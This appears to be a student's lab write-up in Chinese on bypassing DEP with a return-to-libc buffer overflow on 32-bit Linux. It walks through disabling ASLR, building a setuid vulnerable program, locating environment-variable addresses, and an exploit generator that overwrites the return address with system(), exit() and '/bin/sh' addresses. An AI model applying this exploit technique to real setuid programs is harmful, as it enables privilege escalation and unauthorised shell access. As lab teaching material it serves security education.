天天看點

記憶體安全試驗:ret2libc繞過DEP

參考資料

1.https://www.cnblogs.com/0831j/p/9219243.html  (實驗、原理)

2.https://www.cnblogs.com/xidian-wws/p/10819073.html(getenvaddr那個的說明)

實驗過程中的一些問題

https://mp.csdn.net/postedit/89915014

遺留問題:

1.那些位址在gdb和直接運作的位址是不一樣的,不清楚為什麼,也沒有找到規律

結論

這些結論都在我的另一篇部落格中有詳細說明,為了閱讀友善,放到一起

三個程式實際運作的位址差異

首先要關閉位址随機化
位址差異
getenvaddr(10) retlib(6) expl(4)
直接在shell中運作(通過getenv()擷取) 0xffffde28 +8= 0xffffde30 +4= 0xffffde34
在gdb中通過列出所有的環境變量進行尋找 0xffffde1e 0xffffde22 0xffffde24
在gdb中運作程式(通過getenv()擷取) 0xffffde1e +4  0xffffde22 +2= 0xffffde24

從上面的表格可以看出:

(1)在shell中運作時,這幾個程式位址的差異是它們程式名的二倍,這也是本次實驗利用getenvaddr.c加上偏移擷取retlib.c環境變量的方法,具體原因見這個部落格的末尾:https://www.cnblogs.com/xidian-wws/p/10819073.html;

(2)在gdb中不管是上面兩種方法中的哪一種,同一程式擷取到的位址都是一樣的,但是不同程式擷取到的位址偏移是它們程式名的一倍,這個原因尚沒有找出來,希望知道的朋友告知;

(3)retlib是漏洞程式,getenvaddr和expl是攻擊程式,這兩個攻擊程式其實是可以合并的,我們的目的就是通過攻擊程式猜漏洞程式環境變量的位址;

(4)假設不用getenvaddr,隻用expl這個攻擊程式:可以通過在shell中運作expl程式(程式中會利用getenv函數擷取程式變量位址),然後加上expl和retlib程式名偏移量的二倍來猜測retlib程式環境變量的位址;也可以通過在expl的gdb中擷取到環境變量的位址後,加上他們程式名偏移量的一倍來擷取retlib程式環境變量的位址(已驗證);

(5)假設是在gdb中擷取到的位址,那麼retlib隻能在gdb中運作才能攻擊成功,在shell中運作是不會攻擊成功的,因為同一環境變量在shell中和在gdb中的位址是不一樣的

(關于這個的解釋,老師說因為gdb調試是靜态的,shell運作是動态的,位址肯定不一樣;

一個大神的解釋是:gdb的調試環境會影響buf在記憶體中的位置,雖然關閉了ASLR,但這隻能保證buf的位址在gdb的調試環境中不變,但當直接執行的時候,buf的位置會固定在别的位址上)

感覺大神的這個解釋應該某一函數中的局部變量在gdb和直接運作時地不一樣的原因,我現在也不是很懂

(6)對于(5),在gdb中攻擊成功的話,擷取的是普通使用者的shell,不是root,現在我也不知道能不能擷取到root以及如何擷取到root

不同程式環境變量及位址差異

retlib.c expl.c
(gdb)run (gdb)run
argc=1, argv=0xffffd3c4, envp=0xffffd3cc argc=1, argv=0xffffd3c4, envp=0xffffd3cc
(gdb)x/100sb *0xffffd3cc (gdb)(gdb)x/100sb *0xffffd3cc

0xffffd557  "SSH_..."

...

0xffffde1b  "BIN_SH=/bin/sh"

0xffffd559  "SSH_..."

...

0xffffde1d  "BIN_SH=/bin/sh"

可以看到,這兩個程式的環境變量位址是一樣的,但是環境變量所指向的空間是不一樣的,差了兩個位元組,自己也還沒有想明白?

自己整了一份他們的記憶體比較,見自己的筆記。

同一程式不同參數位址的差異

這個例子說明,對于同一個程式,找其環境變量的位址時,加不加那個參數都是一樣的,隻是環境變量的位址變量一點,但是環境變量所指向的

空間是一樣的

實驗原理

(攻擊)之前的攻擊方法大量使用Shellcode,核心思想是修改EIP和注入Shellcode,在函數傳回時跳到Shellcode去執行。

(防禦)DEP(Data Execution Prevention,資料執行保護):将資料所在記憶體頁辨別為不可執行,當程式溢出成功轉入shellcode時,程式會嘗試在資料頁面上執行指令,此時CPU就會抛出異常,而不是去執行惡意指令。DEP 的主要作用是阻止資料頁(如預設的堆頁、各種堆棧頁以及記憶體池頁)執行代碼。

(攻擊)系統庫函數通常是不受DEP保護的,是以通過将傳回位址指向系統函數可以繞過DEP保護,是以可以通過調用系統函數system()獲得shell。system函數是通過/bin/sh指令去執行一個使用者執行指令或者腳本。是以,我們可以利用system來實作Shellcode的功能。 對于ret2libc,即return-to-libc(傳回到系統庫函數執行),攻擊者能夠通過緩沖區溢出改寫傳回位址為一個庫函數的位址,并且将此庫函數執行時的參數也重新寫入棧中。這樣當函數調用時擷取的是攻擊者設定好的參數值,并且結束後傳回時就會傳回到庫函數而不是 main()。而此庫函數實際上就幫助攻擊者執行了其惡意行為。

構造惡意輸入資料:借助緩沖區溢出手段,我們可以構造輸入資料,使得其将傳回位址 ret 的值覆寫,修改為系統中已存在的 system 函數的值,則函數傳回時控制流會跳轉至 system 函數,system 函數會将寄存器 %ebp 儲存,之後其通過 %ebp + 8 獲得所需的參數,而在函數傳回時,其會認為位于儲存的 %ebp 之後的棧頂資料為函數調用的傳回位址。通過構造資料,可以将原函數調用的 ret 修改為目标函數位址,之後放置我們所需的傳回位址(比如exit函數的位址),并根據正常的函數調用棧結構構造參數清單。

記憶體安全試驗:ret2libc繞過DEP

實驗複現:

複現流程按照該實作進行:https://www.cnblogs.com/0831j/p/9219243.html

環境:ubuntu12.04.5 64位

1.輸入指令安裝一些用于編譯 32 位 C 程式的東西。

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev

2.關閉位址随機化

sudo sysctl -w kernel.randomize_va_space=0

3.即使你能欺騙一個 Set-UID 程式調用一個 shell,也不能在這個 shell 中保持 root 權限,這個防護措施在/bin/bash 中實作。

linux 系統中,/bin/sh 實際是指向/bin/bash 或/bin/dash 的一個符号連結。為了重制這一防護措施被實作之前的情形,我們使用另一個 shell 程式(zsh)代替/bin/bash。下面的指令描述了如何設定 zsh 程式。

sudo apt-get install zsh

sudo su

cd /bin

rm sh

ln -s zsh sh

exit

4.漏洞代碼retlib.c

sudo su

gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c

chmod u+s retlib

exit

5.讀取環境變量的程式

gcc -m32 -o getenvaddr getenvaddr.c

export BIN_SH="/bin/sh"    //這種是屬于臨時導入環境變量的方法,是以每次打開終端都要添加

echo $BIN_SH

./getenvaddr BIN_SH ./retlib

6.攻擊程式expl.c

gcc -m32 -g -o expl expl.c//編譯

gdb -q ./exploit//調試

b 10//設定斷點

run//運作到斷點處

p system//擷取system位址

p exit//擷取exit位址

7.修改 expl.c 檔案,填上剛才找到的記憶體位址

vim expl.c

gcc -m32 -g -o expl expl.c

8.攻擊

./expl

./retlib

實驗代碼

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int bof(FILE *badfile) {

char buffer[12];

fread(buffer, sizeof(char), 40, badfile);

return 1;

}

int main(int argc, char **argv) {

FILE *badfile;

badfile = fopen("badfile", "r");

bof(badfile);

printf("Returned Properly\n");

fclose(badfile);

return 1;

}

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int main(int argc, char const *argv[]) {

char *ptr;

if(argc < 3){

printf("Usage: %s <environment var> <target program name>\n", argv[0]);

exit(0);

}

ptr = getenv(argv[1]);

ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;

printf("%s will be at %p\n", argv[1], ptr);

return 0;

}

程式名有在程式位址空間出現了三次,除了第一次是main函數的參數之外,其他兩次是_環境變量和輔助向量值。 而由于棧是向低位址方向增長的,是以我們需要把這兩個程式名導緻的環境變量造成的位址差異進行處理。 具體見後文參考資料。

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int main(int argc, char **argv) {

char buf[40];

FILE *badfile; badfile = fopen(".//badfile", "w");

strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times

*(long *) &buf[32] =0x11111111; // "//bin//sh" 

*(long *) &buf[24] =0x22222222; // system() 

*(long *) &buf[36] =0x33333333; // exit() 

fwrite(buf, sizeof(buf), 1, badfile);

fclose(badfile);

對于本例expl.c代碼編寫規則:
記憶體安全試驗:ret2libc繞過DEP

我們可以看到buffer距離ebp有20個位元組,是以buffer距離ret有24個位元組,是以我們将buffer[24](即system函數棧幀的ebp)填充為system位址,将buffer[32](即system函數棧幀的ebp+8)構造為/bin/sh的位址,這個位址作為system函數的輸入;而buffer[28](即system函數棧幀的ebp+4)作為system函數的傳回位址。

(1)buffer[28](即system函數棧幀的ebp+4)不做任何填充

記憶體安全試驗:ret2libc繞過DEP
(2)buffer[28](即system函數棧幀的ebp+4)填充為exit函數的位址
記憶體安全試驗:ret2libc繞過DEP

實驗結果

(1)buffer[28](即system函數棧幀的ebp+4)不做任何填充
記憶體安全試驗:ret2libc繞過DEP
(2)buffer[28](即system函數棧幀的ebp+4)填充為exit函數的位址
記憶體安全試驗:ret2libc繞過DEP

新知識:

export BIN_SH="/bin/sh"  定義了一個BIN_SH變量,指派為”/bin/sh”,并将其導出為環境變量

echo $BIN_SH           輸出變量BIN_SH的值

頭檔案:#include <stdlib.h>

定義函數:char * getenv(const char *name);

函數說明:getenv()用來取得參數name 環境變量的内容. 參數name 為環境變量的名稱, 如果該變量存在則會傳回指向該内容的指針. 環境變量的格式為name=value.

傳回值:執行成功則傳回指向該内容的指針, 找不到符合的環境變量名稱則傳回NULL.

http://c.biancheng.net/cpp/html/377.html

C語言main函數參數說明:

https://blog.csdn.net/xiaocainiaoshangxiao/article/details/13996459

Shell變量由全大寫字母加下劃線組成,有兩種類型的Shell變量:

環境變量

環境變量可以從父程序傳給子程序,是以Shell程序的環境變量可以從目前Shell程序傳給fork出來的子程序。用printenv指令可以顯示目前Shell程序的環境變量。

本地變量

隻存在于目前Shell程序,用set指令可以顯示目前Shell程序中定義的所有變量(包括本地變量和環境變量)和函數。

環境變量是任何程序都有的概念,而本地變量是Shell特有的概念。在Shell中,環境變量和本地變量的定義和用法相似。

在Shell中定義或指派一個變量:

$ VARNAME=value

注意等号兩邊都不能有空格,否則會被Shell解釋成指令和指令行參數。

一個變量定義後僅存在于目前Shell程序,它是本地變量,用export指令可以把本地變量導出為環境變量,定義和導出環境變量通常可以一步完成:

$ export VARNAME=value

也可以分兩步完成:

$ VARNAME=value

$ export VARNAME

如果一個變量叫做VARNAME,用${VARNAME}可以表示它的值,在不引起歧義的情況下也可以用$VARNAME表示它的值。注意,在定義變量時不用$,取變量值時要用$。

參考:http://docs.linuxtone.org/ebooks/C&CPP/c/ch31s03.html

linux下如何在終端上運作和安裝可執行檔案

linux下可執行檔案,如果是在/bin、/sbin、/usr/bin或者/usr/sbin 裡頭,就直接敲檔案名就可以運作.(注意環境變量PATH是否包含了路徑)

如果是在其他檔案夾裡,比如說運作/root裡頭的 time檔案 你就 cd /root 再 ./time。注意./與time之間沒有空格。

./表示目前目錄下,../表示上一級目錄,../../表示上上一級目錄。

linux終端中,是用"sh"來運作檔案,或者"./"

比如你在/usr/temp檔案夾中有一個可執行檔案"flash"

你可以在終端中輸入 sh /usr/temp/flash

或者進入檔案夾 cd /usr/temp 然後運作: ./flash

參考:https://blog.csdn.net/Se7enYea/article/details/8245672

lea對變量沒有影響是取位址,對寄存器來說加[]時取值,第二操作數不加[]非法

mov對變量來說沒有影響是取值,對寄存器來說是加[]時取位址,第二操作數不加[]是取值

LEA指令有兩個操作數。左邊是目的操作數,表示操作結果儲存在此,該指令目的操作數隻能是8個通用寄存器之一。逗号右邊的是源操作數,該指令的源操作數隻能是一個存儲單元,表達存儲單元有多種尋址方式。(看這個彙編代碼感覺左右剛好反着呢,等自己看完彙編的書,再來研究研究)

  LEA指令的功能是将源操作數、即存儲單元的有效位址(偏移位址)傳送到目的操作數。

示例LEA BX,[BX+SI+0F54H]指令中,[BX+SI+0F54H]采用相對基址變址的尋址方式表達存儲單元,它表示的存儲單元的有效位址是:BX内容加SI内容加0F54H。這個結果被傳送到BX中。

繼續閱讀